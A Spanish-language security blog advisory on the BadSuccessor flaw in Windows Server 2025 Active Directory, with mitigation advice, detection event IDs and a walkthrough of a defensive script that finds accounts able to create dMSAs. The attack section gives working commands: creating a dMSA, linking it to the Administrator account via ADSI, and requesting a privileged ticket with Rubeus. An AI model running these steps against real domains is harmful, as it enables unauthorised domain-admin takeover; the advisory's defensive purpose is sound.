Cabecera blog ciberseguridad

BadSuccessor: Escalada de privilegios mediante abuso de dMSA en Active Directory

- Unidad S.T.A².R.S
BadSuccessor es una vulnerabilidad que afecta a Windows Server 2025

La vulnerabilidad BadSuccessor presente en Windows Server 2025 permite a un atacante escalar hasta obtener privilegios de administrador de dominio

Investigadores de Akamai han descubierto una grave vulnerabilidad de diseño en Windows Server 2025, relacionada con el uso de cuentas de servicio administradas delegadas (dMSA). Esta falla permite a un atacante con privilegios mínimos escalar hasta privilegios de administrador de dominio sin interactuar directamente con cuentas privilegiadas ni modificar membresías de grupos.

La vulnerabilidad ha sido bautizada como BadSuccessor y reside en la capacidad de abusar del proceso de migración de cuentas legado a dMSA. Su explotación no requiere elevación de privilegios previa y puede ejecutarse en dominios que ni siquiera utilizan activamente dMSAs, mientras exista al menos un controlador de dominio con Windows Server 2025.

Características principales de BadSuccessor

  • Identificador: No asignado oficialmente por CVE.
  • Fecha de divulgación: 21 de mayo de 2025
  • Producto afectado: Windows Server 2025.
  • Impacto potencial: Escalada de privilegios permitiendo control completo del dominio.
  • Requisitos de explotación:
    • Permiso de escritura sobre una cuenta dMSA (existente o recién creada).
    • Permiso de creación de objetos en alguna Unidad Organizativa (OU).

Proceso de explotación de BadSuccessor

La vulnerabilidad reside en cómo el KDC (Key Distribution Center) trata el atributo msDS-ManagedAccountPrecededByLink. Este vínculo indica qué cuenta está siendo reemplazada por la dMSA, y el KDC, sin realizar validaciones adicionales, otorga a la dMSA todos los privilegios de la cuenta original, incluyendo:

  • SID del usuario sustituido.
  • Membresías de grupo (incluso Domain Admins).
  • Credenciales históricas del usuario migrado (clave RC4-HMAC).

Flujo del ataque:

1- Crear una nueva dMSA en una OU donde se tengan permisos CreateChild.

New-ADServiceAccount -Name -DNSHostName -CreateDelegatedServiceAccount -PrincipalsAllowedToRetrieveManagedPassword -path “OU=test,DC=domain,DC=com”

2- Establecer los atributos:

  • msDS-ManagedAccountPrecededByLink → DN del objetivo (ej. CN=Administrator,CN=Users,DC=dominio,DC=local)
  • msDS-DelegatedMSAState → 2 (migración completa)
$dMSA = [ADSI]”LDAP://CN=attacker_dmsa,OU=test,DC=domain,DC=com”
$dMSA.Put(“msDS-DelegatedMSAState”,2)
$dMSA.Put(“msDS-ManagedAccountPrecededByLink”, “CN=Administrator,CN=users,DC=domain,DC=com”)
$dMSA.SetInfo()

3- Solicitar un TGT para la dMSA (por ejemplo, con Rubeus):

Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/domain.com /dmsa /ptt /opsec /nowrap /ticket:<Machine TGT>

4- El TGT obtenido incluirá:

  • SID del administrador de dominio
  • Membresías de grupos privilegiados (Domain Admins, Enterprise Admins)
  • Claves históricas del usuario original

Capacidades adicionales del ataque

Además de la escalada de privilegios, se observó que la dMSA recibe en su KERB-DMSA-KEY-PACKAGE las claves criptográficas del usuario sustituido, incluyendo contraseñas anteriores en formatos como RC4-HMAC. Esto permite:

  • Recuperación de contraseñas del objetivo.
  • Uso de tickets antiguos emitidos con claves anteriores.
  • Realizar ataques Kerberoasting extendidos.

Impacto

Este comportamiento se puede explotar contra cualquier cuenta en el dominio, incluyendo:

  • Administradores de dominio
  • Controladores de dominio
  • Usuarios protegidos

Y no se requiere ningún acceso a la cuenta objetivo. Basta con permisos sobre una dMSA y capacidad de escribir en sus atributos.

Mitigación de BadSuccessor

Microsoft ha reconocido el problema, pero aún no ha publicado un parche. La mitigación recomendada incluye:

Contención inmediata

  • Restringir permisos de CreateChild sobre las OUs.
  • Auditar permisos sobre msDS-DelegatedManagedServiceAccount y evitar que usuarios no privilegiados creen dMSAs.
  • Bloquear o monitorear el uso de Start-ADServiceAccountMigration.

Auditoría y detección

  • Auditar la creación de dMSA: configurar una SACL para registrar la creación de nuevos objetos msDS-DelegatedManagedServiceAccount (Event ID 5137)
  • Supervisar modificaciones de atributos: configurar una SACL para modificaciones en el atributo msDS-ManagedAccountPrecededByLink (Event ID 5136)
  • Seguimiento de la autenticación de dMSA: cuando se genera un TGT para un dMSA e incluye la estructura KERB-DMSA-KEY-PACKAGE, el controlador de dominio registra el siguiente evento (Event ID 2946)
BadSuccessor es una vulnerabilidad que aún no tiene CVE

Prueba de concepto de BadSuccessor

Akamai ha publicado un script PowerShell para identificar cuentas con permisos de creación de dMSA en el dominio.

Este script identifica usuarios o grupos (principales) que tienen permisos sobre Unidades Organizativas (OUs) que les permiten crear cuentas de servicio delegadas (dMSAs). Si pueden hacerlo, podrían explotar la vulnerabilidad BadSuccessor para escalar privilegios hasta, por ejemplo, obtener acceso de Domain Admin.

A continuación, se detalla el comportamiento de los bloques de código:

1. Identidades privilegiadas excluidas

$excludedSids = @(
"$domainSID-512", # Domain Admins
"S-1-5-32-544", # Builtin Administrators
"S-1-5-18" # Local SYSTEM
)

Se excluyen del análisis las identidades que ya tienen privilegios elevados, para enfocarse en usuarios no privilegiados que podrían abusar de dMSAs.

2. Permisos y objetos que se buscan

Setup the specific rights we look for, and on which kind of objects - add more attributes' guids as needed
$relevantObjectTypes = @{
"00000000-0000-0000-0000-000000000000" = "All Objects"
"0feb936f-47b3-49f2-9386-1dedc2c23765" = "msDS-DelegatedManagedServiceAccount"
}
# This could be modified to also get objects with indirect access, for example: $relevantRights = "CreateChild|WriteDACL"
$relevantRights = "CreateChild|GenericAll|WriteDACL|WriteOwner"

Se busca específicamente si un usuario tiene derechos como CreateChild, lo cual permite crear un dMSA en esa OU — paso clave del ataque BadSuccessor.

3. Escaneo de OUs y revisión de sus listas de control de acceso (ACEs)

foreach ($ou in $allOUs) {
foreach ($ace in $ou.ntSecurityDescriptor.Access) {
if ($ace.AccessControlType -ne "Allow") { continue }
if ($ace.ActiveDirectoryRights -notmatch $relevantRights) { continue }
if (-not $relevantObjectTypes.ContainsKey($ace.ObjectType.Guid)) { continue }

$identity = $ace.IdentityReference.Value
if (Test-IsExcludedSID $identity) { continue }

$allowedIdentities[$identity].Add($ou.DistinguishedName)
}
# Revisión también del propietario (owner) de la OU
}

Aquí se detecta si una identidad no privilegiada puede crear objetos en una OU — específicamente, si puede crear un dMSA allí. Si puede, puede simular una migración y convertirse en cualquier otro usuario (BadSuccessor).

4. Resultados

foreach ($id in $allowedIdentities.Keys) {
[PSCustomObject]@{
Identity = $id
OUs = $allowedIdentities[$id].ToArray()
}
}

Devuelve una lista de usuarios que deberían ser monitorizados, ya que tienen permisos suficientes para ejecutar el ataque BadSuccessor en una o más OUs.

Conclusiones

BadSuccessor representa un nuevo paradigma en la explotación de Active Directory, donde un atacante puede comprometer el dominio entero sin necesidad de manipular cuentas privilegiadas directamente. El ataque es sigiloso, no requiere modificaciones de grupos ni cambios visibles en cuentas sensibles.

Dada la naturaleza lógica del fallo y su facilidad de explotación, se recomienda tratar cualquier permiso de gestión sobre dMSAs como de alto riesgo.

Tarlogic cuenta con un servicio de vulnerabilidades emergentes que monitoriza de manera proactiva el perímetro de las empresas para informar, detectar y notificar inmediatamente la presencia de esta vulnerabilidad y de cualquier otra amenaza que pueda tener un grave impacto en la seguridad de los activos corporativos.